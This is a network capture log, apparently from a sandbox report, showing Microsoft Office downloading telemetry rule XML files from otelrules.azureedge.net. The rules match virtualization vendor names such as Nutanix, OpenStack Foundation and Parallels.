2024-10-29 03:18:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031805Z-17c5cb586f6b6kj91vqtm6kxaw00000004hg00000000k1w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031806Z-16849878b7828dsgct3vrzta7000000004cg000000008wmf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031806Z-r197bdfb6b48pl4k4a912hk2g4000000057g0000000016qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031806Z-16849878b78j5kdg3dndgqw0vg00000007rg000000003v8h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031806Z-r197bdfb6b4bq7nf8dgr5rzeq4000000015g00000000h7z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 292613ff-b01e-0053-49f8-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031806Z-r197bdfb6b46kdskt78qagqq1c000000065g0000000043u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:07 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:07 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 7a23be84-101e-0079-6389-285913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031807Z-15b8d89586fzcfbd8we4bvhqds00000000ug00000000e1ra x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: ad1b4984-801e-002a-3571-2931dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031807Z-17c5cb586f6g6g2sa7kg5c0gg0000000016000000000drnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031807Z-16849878b78qg9mlz11wgn0wcc00000005h000000000ba6c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d4a93cd8-001e-008d-65f5-24d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031807Z-15b8d89586ffsjj9qb0gmb1stn0000000a8g000000000hb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031807Z-16849878b78j5kdg3dndgqw0vg00000007n000000000ft57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
